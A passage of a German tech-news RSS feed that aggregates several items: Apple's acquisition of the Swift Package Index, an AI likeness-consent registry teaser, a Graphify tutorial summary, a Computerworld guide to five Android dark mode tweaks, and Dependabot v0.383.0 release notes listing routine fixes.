<content:encoded><![CDATA[The <a href="https://appleinsider.com/inside/swift" title="Swift" data-kpt="1">Swift</a> Package Index is no longer independent as Apple has taken control, but it will remain an open source search engine for third-party code.<br><br><div><img src="https://photos5.appleinsider.com/gallery/62507-129604-61319-126674-swift-xl-xl.jpg" alt="Swift logo featuring a stylized orange swift bird on a blue gradient background with subtle programming code visible behind the bird." height="738"><br><span>Swift icon - image credit: Apple</span></div><br>It's now a startling <a href="https://appleinsider.com/articles/14/06/02/apple-unveils-swift-a-brand-new-xcode-programming-language-for-developers">12 years</a> since Apple launched its Swift programming language for apps, and key to it <a href="https://appleinsider.com/articles/15/12/03/apple-programming-language-swift-goes-open-source">from 2015</a> has been that it is open source. The aim was to build a community of developers, and one group that helped this <a href="https://appleinsider.com/articles/21/04/08/macstadium-offers-free-cloud-based-mac-mini-for-open-source-developers">was behind</a> the Swift Package Index.<br><br>The Swift Package Index gave developers one trusted location to look for third-party code for use in their own apps. The idea has always been that developers can find code that works with <a href="https://appleinsider.com/inside/xcode" title="Xcode" data-kpt="1">Xcode</a>'s Swift Package Manager, be reassured that it works, and see immediately just how new or established it is.<br><br><br> <a href="https://appleinsider.com/articles/26/06/24/developer-resource-swift-package-index-to-stay-open-source-after-apple-acquisition?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244761?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[KI klont Stimmen und Gesichter: Dieses neue Register will festlegen, was erlaubt ist und was nicht]]></title>
<description><![CDATA[Stars wie Matthew McConaughey und Taylor Swift versuchen seit Längerem, ihre Identität vor der Imitation durch KI zu schützen. Ein neues Register soll für alle Menschen mehr Kontrolle schaffen.
weiterlesen auf t3n.de]]></description>
<link>https://tsecurity.de/de/3621295/it-nachrichten/ki-klont-stimmen-und-gesichter-dieses-neue-register-will-festlegen-was-erlaubt-ist-und-was-nicht/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3621295/it-nachrichten/ki-klont-stimmen-und-gesichter-dieses-neue-register-will-festlegen-was-erlaubt-ist-und-was-nicht/</guid>
<pubDate>Wed, 24 Jun 2026 14:18:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Stars wie Matthew McConaughey und Taylor Swift versuchen seit Längerem, ihre Identität vor der Imitation durch KI zu schützen. Ein neues Register soll für alle Menschen mehr Kontrolle schaffen.
<a href="https://t3n.de/news/human-consent-registry-ki-klont-stimmen-und-gesichter-dieses-neue-register-will-festlegen-was-erlaubt-ist-und-was-nicht-1749240/?utm_source=rss&amp;utm_medium=newsFeed&amp;utm_campaign=newsFeed">weiterlesen auf t3n.de</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Using Graphify and NetworkX to Map Python Codebase Structure with God Nodes, Communities, and Architecture Visualizations]]></title>
<description><![CDATA[In this tutorial, we build a fully offline Graphify pipeline that turns a multi-module Python application into a knowledge graph. We install Graphify, generate a connected sample app, and extract the graph locally using tree-sitter, with no API key or LLM backend. We load graph.json into NetworkX...]]></description>
<link>https://tsecurity.de/de/3620882/ai-nachrichten/using-graphify-and-networkx-to-map-python-codebase-structure-with-god-nodes-communities-and-architecture-visualizations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620882/ai-nachrichten/using-graphify-and-networkx-to-map-python-codebase-structure-with-god-nodes-communities-and-architecture-visualizations/</guid>
<pubDate>Wed, 24 Jun 2026 11:49:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this tutorial, we build a fully offline Graphify pipeline that turns a multi-module Python application into a knowledge graph. We install Graphify, generate a connected sample app, and extract the graph locally using tree-sitter, with no API key or LLM backend. We load graph.json into NetworkX and analyze file types, relationship types, centrality scores, community detection, and shortest paths. We then create static and interactive visualizations to see how modules, classes, functions, and database objects connect.</p>
<p>The post <a href="https://www.marktechpost.com/2026/06/24/using-graphify-and-networkx-to-map-python-codebase-structure-with-god-nodes-communities-and-architecture-visualizations/">Using Graphify and NetworkX to Map Python Codebase Structure with God Nodes, Communities, and Architecture Visualizations</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Android dark mode power-pack: 5 secrets for a smarter screen setup]]></title>
<description><![CDATA[Few things are as delightfully divisive as Android’s dark mode.



Some phones now ship with Android’s darker-style interface activated by default. Most reasonably recent devices offer it as a swift ‘n’ simple toggle. And most people, in my experience, have amusingly strong preferences about whic...]]></description>
<link>https://tsecurity.de/de/3620859/it-nachrichten/the-android-dark-mode-power-pack-5-secrets-for-a-smarter-screen-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620859/it-nachrichten/the-android-dark-mode-power-pack-5-secrets-for-a-smarter-screen-setup/</guid>
<pubDate>Wed, 24 Jun 2026 11:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Few things are as delightfully divisive as Android’s dark mode.</p>



<p>Some phones now ship with Android’s darker-style interface activated by default. Most reasonably recent devices offer it as a swift ‘n’ simple toggle. And most people, in my experience, have amusingly strong preferences about which approach they prefer — the standard Android “light” mode, in which screens tend to be bright and with shades of white as a foundation, and the dark mode (a.k.a. “dark theme”), where black and dark gray dominate and everything is much more muted and muddy.</p>



<p>It really is a night and day difference, so to speak — but no matter where you fall on the light vs. dark preference spectrum, it’s well worth your while to noddle over two pertinent points:</p>



<ol class="wp-block-list">
<li>Android’s dark mode doesn’t <em>have </em>to be an all-or-nothing decision. With the right setup, you can use it as a dynamically activated <em>sometimes</em> switch that enables itself automatically based on different variables and gives you a darker, less glary motif when conditions call for it while leaving you with the lighter, brighter look the rest of the time.</li>



<li>Regardless of how often you’re using dark mode, a few easy adjustments will make it meaningfully more complete and effective as an end-to-end interface style for whatever you’re doing on your device.</li>
</ol>



<p>It occurred to me recently that we’ve gone over several smart Android dark mode enhancements over the past weeks and months — and that, put together into a single power-pack bundle, these small-seeming items can add up to create a pretty dramatic difference in your Android-using experience, whether you’re a full-fledged dark mode convert or a more light-preferring vampire skeptic.</p>



<p>Here, specifically, are five easy ways to make Android’s dark mode meaningfully better for you.</p>



<p><strong>[Keep the nerdy knowledge coming with </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>my free Android Intelligence newsletter</strong></a><strong> — something new and useful in your inbox every Friday!]</strong></p>



<h2 class="wp-block-heading"><strong>Android dark mode power-up #1: The app expansion</strong></h2>



<p>Up first is a feature that arose as part of our <a href="https://www.computerworld.com/article/4185786/google-pixel-android-17.html">Android 17 discussion</a> and sparked the entire idea for this collection — and that’s the one-tap switch in the latest <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android version</a> that forces <em>every</em> app on your phone to follow your dark mode preference, whether the program technically supports such a setting or not.</p>



<p>In Android 17, finding and flipping that switch will make every app turn dark whenever the system-wide dark mode is active. It eliminates the irksome exceptions that’ve traditionally stayed stubbornly light (due to developer laziness) even when your dark theme is on.</p>



<p>If you’ve got Android 17 on your phone already, it <a href="https://www.computerworld.com/article/4185786/google-pixel-android-17.html#:~:text=Android%2017%20Pixel%20feature%20%233%3A%20More%20dynamic%20dark%20mode">couldn’t be much easier to make it happen</a>. Just look in the Display section of your system settings, tap the words “Dark theme,” then change the setting that shows up next from “Standard” to “Expanded.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/android-17-dark-theme-expanded.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android 17 dark theme expanded " class="wp-image-4185802" width="1024" height="842" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Android’s new “Expanded” option lets you force apps into dark mode compliance, even if they aren’t designed to do it on their own.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>No Android 17? No problem: On devices with reasonably recent pre-Android-17 system software, you can actually <a href="https://www.computerworld.com/article/4185864/android-17-features-any-phone.html#:~:text=Android%2017%20feature%20%233%3A%20More%20dynamic%20dark%20mode">find a switch</a> buried deep in some developer settings that’ll let you enable the exact same option without any waiting.</p>



<p><a href="https://www.computerworld.com/article/4185864/android-17-features-any-phone.html#:~:text=Well%2C%20get%20this,Try%20this%3A">Follow these instructions</a> and enjoy your new universally consistent darkened dynamic.</p>



<h2 class="wp-block-heading"><strong>Android dark mode power-up #2: A darkened web</strong></h2>



<p>That first trick fixes the issue of certain <em>apps </em>not following your dark mode preference — but what about the web? Most of us spend a fair amount of time in our browsers these days, and most websites won’t follow a dark mode setting and adjust <em>their</em> interfaces accordingly.</p>



<p>They absotively <em>can</em>, though. With the flip of <a href="https://theintelligence.com/42808/chrome-android-web-dark-mode/" target="_blank" rel="noreferrer noopener">a single switch buried within your browser’s bowels</a>, you can force every website into a darkened motif whenever your system-level dark mode is up and running.</p>



<p>See?</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/android-dark-mode-chrome-web.png?w=1024" alt="Android dark mode - Chrome web" class="wp-image-4188085" width="1024" height="1007" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Viewing a website in Chrome normally, at left, and with dark-mode-associated web darkening, at right.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Here’s the secret:</p>



<ul class="wp-block-list">
<li>Open up Chrome on whatever Android device you’re using. (And note that this will also work with any Chromium-based Chrome alternative, like Brave, Edge, or <a href="https://www.computerworld.com/article/4148888/8-advanced-ways-vivaldi-boosts-your-productivity.html">Vivaldi</a>.)</li>



<li>Type <strong>chrome:flags </strong>into the address bar.</li>



<li>Type <strong>darken </strong>into the search box at the top of the screen that comes up next.</li>



<li>See the line labeled “Darken websites checkbox in themes setting”? Tap the “Default” box beneath it, and change its setting to “Enabled.”</li>



<li>Tap the blue “Relaunch” button at the bottom of the screen.</li>
</ul>



<p>Now, when Chrome comes back a second or so later…</p>



<ul class="wp-block-list">
<li>Tap the three-dot menu icon in its upper-right corner.</li>



<li>Tap “Settings” in the next menu.</li>



<li>Scroll down until you see “Appearance.” Tap it, then tap “Theme.”</li>



<li>Make sure the newly added box for “Apply dark theme to sites, when possible” — which we just magically made appear via our last little modification — is checked and active.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/android-dark-mode-chrome-web-setting.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android dark mode - Chrome web setting" class="wp-image-4188083" width="1024" height="412" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Chrome’s web-darkening option appears only after you’ve enabled an out-of-the-way flag.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>And that’s it: From that moment onward, whenever your Android device is switched into its dark mode, any website you’re viewing within Chrome will automatically follow suit. Nothing more to it, and no further thought or action ever required on your part.</p>



<p>Not bad, eh?!</p>



<h2 class="wp-block-heading"><strong>Android dark mode power-up #3: A dark mode schedule</strong></h2>



<p>Even as someone who isn’t into dark mode as a 24/7 sort of thing, I can definitely appreciate the presence of a dimmer, less glary look on my device in certain specific scenarios.</p>



<p>It’s incredibly easy to overlook or forget, but Google’s actually got a way to handle that for you. In fact, it’s been built into Android itself since <a href="https://www.computerworld.com/article/1645546/18-advanced-tips-for-android-11.html">2020’s Android 11 release</a>.</p>



<p>Just look in the Display section of your system settings and tap the line for either “Dark theme” or “Dark mode settings.” If you see a toggle alongside that line, make sure you’re tapping the actual <em>words </em>next to it — not the toggle itself.</p>



<p>Then look for the option to create a schedule.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/android-dark-mode-schedule-pixel-samsung.png?w=1024" alt="Android dark mode schedule" class="wp-image-4188084" width="1024" height="841" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">An Android dark mode schedule, as seen in Google’s standard Android interface (at left) and in Samsung’s Android style (right).</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>You can create a time-based rule for when your device’s dark mode turns on and back off again, or — more intelligent yet — you can set it to <em>automatically </em>activate at sunset, wherever you are at any given moment, and then turn itself back off and switch you back over to light mode at sunrise.</p>



<p>You can also <a href="https://theintelligence.com/34415/android-bedtime-mode/" target="_blank" rel="noreferrer noopener">integrate dark mode into Android’s rarely noticed Bedtime Mode</a> so that the screen getting dimmer is part of your pre-sleep winddown routine, if you really wanna get wild.</p>



<p>Or — ahem…</p>



<h2 class="wp-block-heading"><strong>Android dark mode power-up #4: Contextual dark mode</strong></h2>



<p>A dark mode schedule is pretty forkin’ sensible. But the reality is that even with a time-based setup or a sunset-driven activation approach, you’ll still be using your phone in bright rooms with dark mode active and vice-versa.</p>



<p>And if you want Android’s dark theme present only when you’re actually in a <em>dark</em> room — as makes the most sense in my mind — there’s an even <em>more </em>intelligent option.</p>



<p>It comes our way via a handy little free app called <a href="https://play.google.com/store/apps/details?id=dev.lexip.hecate" target="_blank" rel="noreferrer noopener">Adaptive Theme</a>. That app does one thing and only thing only: It automatically adjusts your device’s dark mode setting based on the actual ambient light around you, using your phone’s sensors rather than an arbitrary time or a not-always-relevant sunset status as a guide. It makes so much sense, you’ll find yourself wondering why your phone didn’t just work that way from the get-go.</p>



<p>The app does unavoidably have a <em>slightly </em>complex one-time setup, which <a href="https://www.computerworld.com/article/4154561/android-dark-mode-upgrade.html#:~:text=2%20minutes%20to%20a%20smarter%20Android%20dark%20mode">I outline step-by-step here</a>. It’s perfectly safe to do, though, and it shouldn’t take you more than a couple minutes to pull off.</p>



<p>And once you’ve done that, your Android dark mode will just work for you — flipping on when the lighting around you is dim (to your exact specifications) and flipping back off when you’re in brighter surroundings.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/android-dark-mode-adaptive-theme-settings.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android dark mode: Adaptive Theme settings" class="wp-image-4155241" width="1024" height="752" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Adaptive Theme lets you take total control of how and when Android’s dark mode activates based on your environment.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Yes, please — and thank you. Last but not least…</p>



<h2 class="wp-block-heading"><strong>Android dark mode power-up #5: The wallpaper wizard</strong></h2>



<p>Superficial as it may seem, the one piece of the puzzle we haven’t yet addressed — that <em>isn’t </em>ordinarily affected by Android’s dark mode setting — is your home screen wallpaper.</p>



<p>By default, whatever wallpaper you set at the system level stays the same even as your interface moves between its dark and light states — and when you’re anglin’ for a dimmer, less glary look in dark environments, that can be pretty darn jarring.</p>



<p>An app called, rather aptly, <a href="https://play.google.com/store/apps/details?id=com.dci.dev.darkmodewallpaper&amp;hl=en_US" target="_blank" rel="noreferrer noopener">Dark/Light Wallpaper Scheduler</a> is the answer you never knew you needed. It’s pretty self-explanatory — you tell it which wallpaper you want when your phone is in dark mode and light mode, then it automatically switches ’em out for you based on that status — but I <a href="https://theintelligence.com/42872/android-dark-mode-wallpaper-changer/" target="_blank" rel="noreferrer noopener">wrote about it in detail here</a>, if you’re interested in reading more about how exactly it works and how you can make the most of it.</p>



<p>And with that, my fellow Android-appreciating animal, your dark mode power-pack is complete. Now, would someone please turn off the lights? I don’t know about you, but all this talk of darkness has me hankering for a nap.</p>



<p><em>Wake up to even more useful Android wisdom every Friday with </em><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>my free Android Intelligence newsletter</em></strong></a><em> — one practical new trick to try each week, straight from me to ye.</em></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.383.0]]></title>
<description><![CDATA[What's Changed

Bump bundled npm from 11.8.0 to 11.17.0 by @kbukum1 in #15335
Fix composer specs failure due to block-insecure feature by @AbhishekBhaskar in #15334
Add blocked_versions.ignored metric for Security-blocked update checks by @kbukum1 in #15333
Preserve original bundler checksum on B...]]></description>
<link>https://tsecurity.de/de/3620092/it-security-tools/v03830/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620092/it-security-tools/v03830/</guid>
<pubDate>Wed, 24 Jun 2026 04:48:41 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Bump bundled npm from 11.8.0 to 11.17.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4670450652" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15335" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15335/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15335">#15335</a></li>
<li>Fix composer specs failure due to <code>block-insecure</code> feature by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbhishekBhaskar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbhishekBhaskar">@AbhishekBhaskar</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4669672449" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15334" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15334/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15334">#15334</a></li>
<li>Add blocked_versions.ignored metric for Security-blocked update checks by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4669428834" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15333" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15333/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15333">#15333</a></li>
<li>Preserve original bundler checksum on Bundler 4.0.11+ lockfile updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lucasmazza/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lucasmazza">@lucasmazza</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613742805" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15249" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15249/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15249">#15249</a></li>
<li>Generate <code>.npmrc</code> from scope property when lockfile inference fails by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbhishekBhaskar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbhishekBhaskar">@AbhishekBhaskar</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4625892418" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15264" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15264/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15264">#15264</a></li>
<li>Revert disabling block insecure flag in composer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbhishekBhaskar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbhishekBhaskar">@AbhishekBhaskar</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4676679601" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15339" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15339/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15339">#15339</a></li>
<li>Fix no method error during fetching credentials properties by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbhishekBhaskar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbhishekBhaskar">@AbhishekBhaskar</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4678059280" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15340" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15340/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15340">#15340</a></li>
<li>Use only uv.lock for uv dependency graphing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nishnha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nishnha">@Nishnha</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4584996696" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15217" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15217/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15217">#15217</a></li>
<li>Add transitive blocked-version enforcement to updater by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650410302" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15295" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15295/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15295">#15295</a></li>
<li>fix(npm_and_yarn): strip trailing slash from registry URL in Corepack env vars by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajha-cs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajha-cs">@ajha-cs</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4664826172" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15324" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15324/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15324">#15324</a></li>
<li>Fix pre-commit cooldown bypass and incorrect PR metadata issues with grouped updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbhishekBhaskar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbhishekBhaskar">@AbhishekBhaskar</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4687420706" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15346" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15346/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15346">#15346</a></li>
<li>Surface blocking parent dependency in npm fix-unavailable message by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4675903244" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15337" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15337/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15337">#15337</a></li>
<li>Skip Gradle cooldown metadata fetch when cooldown is not configured by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yeikel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yeikel">@yeikel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519592135" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15136" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15136/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15136">#15136</a></li>
<li>Bundler: surface invalid registry gem metadata as a private source error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4695029226" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15351" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15351/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15351">#15351</a></li>
<li>Set default max branch name length to 100 characters by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4645181904" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15282" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15282/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15282">#15282</a></li>
<li>set temporary token for cargo auth that the proxy will then replace by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brettfo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brettfo">@brettfo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651733757" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15298" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15298/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15298">#15298</a></li>
<li>Reject updates for private registries without proper dependabot configuration by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbhishekBhaskar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbhishekBhaskar">@AbhishekBhaskar</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4689723809" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15347" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15347/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15347">#15347</a></li>
<li>gradle: bump updater image to 9.4.1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701555584" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15356" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15356/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15356">#15356</a></li>
<li>Bundler: tolerate empty registry checksum metadata in v4 helper by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4702902357" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15359" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15359/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15359">#15359</a></li>
<li>Preserve custom gradle-wrapper.properties values during wrapper updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671028417" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15336" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15336/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15336">#15336</a></li>
<li>fix(pre-commit, github-actions): use tag creation date for cooldown instead of commit date by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4691711310" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15350" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15350/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15350">#15350</a></li>
